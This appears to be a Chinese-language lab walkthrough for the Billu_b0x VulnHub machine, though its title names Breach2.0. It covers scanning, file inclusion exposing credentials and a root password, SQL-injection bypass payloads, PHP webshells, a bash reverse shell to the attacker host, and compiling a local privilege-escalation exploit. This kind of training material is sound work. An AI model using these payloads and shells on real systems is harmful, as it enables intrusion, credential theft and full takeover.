渗透测试 | VulnHub-Breach2.0实战
字数 1993 2025-08-18 11:39:30

VulnHub-Breach2.0 渗透测试实战教学文档

靶机信息

  • 名称: Billu_b0x
  • 难度: 中等
  • 操作系统: Ubuntu (32位)
  • 包含软件:
    • PHP
    • Apache
    • MySQL
  • 目标: 通过Web应用程序进入虚拟机并获得root权限

环境配置

  • 靶机设置:
    • 使用VMWare打开虚机
    • 网络连接方式设置为NAT模式
    • 靶机自动获取IP
  • 攻击机:
    • 同网段Windows攻击机
    • 工具: Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等
    • Kali Linux攻击机

渗透测试流程

1. 信息收集

IP发现

nmap -sP 192.168.64.1/24

发现靶机IP: 192.168.64.161

端口和服务识别

nmap -p1-65535 -A 192.168.64.161 -oN billu.txt

发现开放服务:

  • TCP 22: SSH (OpenSSH 5.9p1)
  • TCP 80: HTTP (Apache httpd 2.2.22)

2. 漏洞挖掘

漏洞挖掘思路

  1. SQL注入(首页提示"Show me your SQLI skills")
  2. 目录暴破(DirBuster)
  3. 漏洞扫描(AWVS或APPScan)
  4. 手动挖掘(观察Request/Response包)
  5. 查看网页源码
  6. 尝试SSH登录

步骤1: 测试SQL注入

  • 尝试基本注入: admin' or 'a'='a -- (失败)
  • 使用sqlmap测试:
sqlmap.py -u "http://192.168.64.161" --data "un=admin&ps=admin&login=let%27s+login" --level 3 --dbms mysql

结果: 注入失败

步骤2: 目录暴破

使用DirBuster和dirb工具暴破,发现以下重要路径:

  • 文件: test.php, add.php, in.php, c.php, index.php, show.php
  • 目录: uploaded_images, phpmy

步骤3: 文件包含漏洞利用

  • 访问test.php提示需要file参数
  • GET请求失败,改为POST请求成功
  • 通过文件包含获取:
    • /etc/passwd (发现用户ica)
    • 多个PHP源码文件(add.php, in.php等)

步骤4: 源码审计

  • 从c.php发现数据库凭据:
    • 用户名: billu
    • 密码: b0x_billu
    • 数据库名: ica_lab

步骤5: 访问phpmyadmin

  • 暴破出/phpmy目录
  • 尝试用billu/b0x_billu登录失败(可能MySQL服务故障)

步骤6: 获取phpmyadmin配置

通过文件包含获取/var/www/phpmy/config.inc.php:

  • 发现root密码: roottoor

步骤7: SSH登录

使用root/roottoor成功登录

3. 获取Shell

步骤8: 获取Web登录凭据

  • 重启虚拟机后MySQL恢复正常
  • 使用billu/b0x_billu登录phpmyadmin
  • 在ica_lab数据库的auth表中发现:
    • 用户名: biLLu
    • 密码: hEx_it

步骤9: Web登录

  • 使用biLLu/hEx_it成功登录(注意大小写)
  • 发现图片上传功能

步骤10: 文件上传+文件包含获取Shell

  1. 下载一张图片(jack.php)
  2. 插入一句话木马: <?php system($_GET['cmd']); ?>
  3. 上传图片
  4. 通过panel.php执行命令:
POST /panel.php?cmd=cat%20/etc/passwd;ls
  1. 反弹Shell:
echo "bash -i >& /dev/tcp/192.168.64.1/4444 0>&1" | bash

步骤11: 写入Webshell

在uploaded_images目录写入菜刀马:

echo '<?php eval($_POST['123456']); ?>' > caidao.php

4. 权限提升

步骤12: 查找提权方法

  • 查看系统信息:
uname -a
cat /etc/issue
  • 下载Ubuntu本地提权exp: https://www.exploit-db.com/exploits/37292/

步骤13: 编译执行exp

chmod 777 37292.c
gcc 37292.c -o exp
./exp

成功提权至root

其他渗透思路

思路1: SQL注入绕过

  1. 审计index.php源码发现过滤规则:
    • str_replace\'替换为空
    • urldecode解码输入
  2. 构造有效payload: ' or 1=1 -- \'

思路2: phpmyadmin路径

  1. 暴破出phpmy目录
  2. 通过c.php获取mysql密码
  3. 登录phpmyadmin获取Web凭据

思路3: 配置文件包含

  1. 文件包含phpmyadmin配置文件
  2. 获取root密码
  3. SSH直接登录

经验总结

常见问题

  1. MySQL可能因高负载宕机(目录暴破/注入导致)
  2. 文件包含漏洞GET方式可能失败,尝试POST
  3. SQL注入需注意特殊过滤规则
  4. 文件上传+文件包含是常见组合利用方式

关键点

  1. 全面信息收集(nmap,目录暴破)
  2. 源码审计获取关键信息
  3. 灵活尝试不同请求方式(GET/POST)
  4. 多路径渗透思维(不依赖单一漏洞)
  5. 本地提权关注系统版本和已知漏洞

工具清单

  • 信息收集: nmap, dirb, DirBuster
  • 漏洞利用: sqlmap, BurpSuite
  • 后渗透: nc, 菜刀
  • 提权: 本地exp编译(gcc)
VulnHub-Breach2.0 渗透测试实战教学文档 靶机信息 名称: Billu_ b0x 难度: 中等 操作系统: Ubuntu (32位) 包含软件: PHP Apache MySQL 目标: 通过Web应用程序进入虚拟机并获得root权限 环境配置 靶机设置 : 使用VMWare打开虚机 网络连接方式设置为NAT模式 靶机自动获取IP 攻击机 : 同网段Windows攻击机 工具: Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等 Kali Linux攻击机 渗透测试流程 1. 信息收集 IP发现 发现靶机IP: 192.168.64.161 端口和服务识别 发现开放服务: TCP 22: SSH (OpenSSH 5.9p1) TCP 80: HTTP (Apache httpd 2.2.22) 2. 漏洞挖掘 漏洞挖掘思路 SQL注入(首页提示"Show me your SQLI skills") 目录暴破(DirBuster) 漏洞扫描(AWVS或APPScan) 手动挖掘(观察Request/Response包) 查看网页源码 尝试SSH登录 步骤1: 测试SQL注入 尝试基本注入: admin' or 'a'='a -- (失败) 使用sqlmap测试: 结果: 注入失败 步骤2: 目录暴破 使用DirBuster和dirb工具暴破,发现以下重要路径: 文件: test.php, add.php, in.php, c.php, index.php, show.php 目录: uploaded_ images, phpmy 步骤3: 文件包含漏洞利用 访问test.php提示需要file参数 GET请求失败,改为POST请求成功 通过文件包含获取: /etc/passwd (发现用户ica) 多个PHP源码文件(add.php, in.php等) 步骤4: 源码审计 从c.php发现数据库凭据: 用户名: billu 密码: b0x_ billu 数据库名: ica_ lab 步骤5: 访问phpmyadmin 暴破出/phpmy目录 尝试用billu/b0x_ billu登录失败(可能MySQL服务故障) 步骤6: 获取phpmyadmin配置 通过文件包含获取/var/www/phpmy/config.inc.php: 发现root密码: roottoor 步骤7: SSH登录 使用root/roottoor成功登录 3. 获取Shell 步骤8: 获取Web登录凭据 重启虚拟机后MySQL恢复正常 使用billu/b0x_ billu登录phpmyadmin 在ica_ lab数据库的auth表中发现: 用户名: biLLu 密码: hEx_ it 步骤9: Web登录 使用biLLu/hEx_ it成功登录(注意大小写) 发现图片上传功能 步骤10: 文件上传+文件包含获取Shell 下载一张图片(jack.php) 插入一句话木马: <?php system($_GET['cmd']); ?> 上传图片 通过panel.php执行命令: 反弹Shell: 步骤11: 写入Webshell 在uploaded_ images目录写入菜刀马: 4. 权限提升 步骤12: 查找提权方法 查看系统信息: 下载Ubuntu本地提权exp: https://www.exploit-db.com/exploits/37292/ 步骤13: 编译执行exp 成功提权至root 其他渗透思路 思路1: SQL注入绕过 审计index.php源码发现过滤规则: str_replace 将 \' 替换为空 urldecode 解码输入 构造有效payload: ' or 1=1 -- \' 思路2: phpmyadmin路径 暴破出phpmy目录 通过c.php获取mysql密码 登录phpmyadmin获取Web凭据 思路3: 配置文件包含 文件包含phpmyadmin配置文件 获取root密码 SSH直接登录 经验总结 常见问题 MySQL可能因高负载宕机(目录暴破/注入导致) 文件包含漏洞GET方式可能失败,尝试POST SQL注入需注意特殊过滤规则 文件上传+文件包含是常见组合利用方式 关键点 全面信息收集(nmap,目录暴破) 源码审计获取关键信息 灵活尝试不同请求方式(GET/POST) 多路径渗透思维(不依赖单一漏洞) 本地提权关注系统版本和已知漏洞 工具清单 信息收集: nmap, dirb, DirBuster 漏洞利用: sqlmap, BurpSuite 后渗透: nc, 菜刀 提权: 本地exp编译(gcc)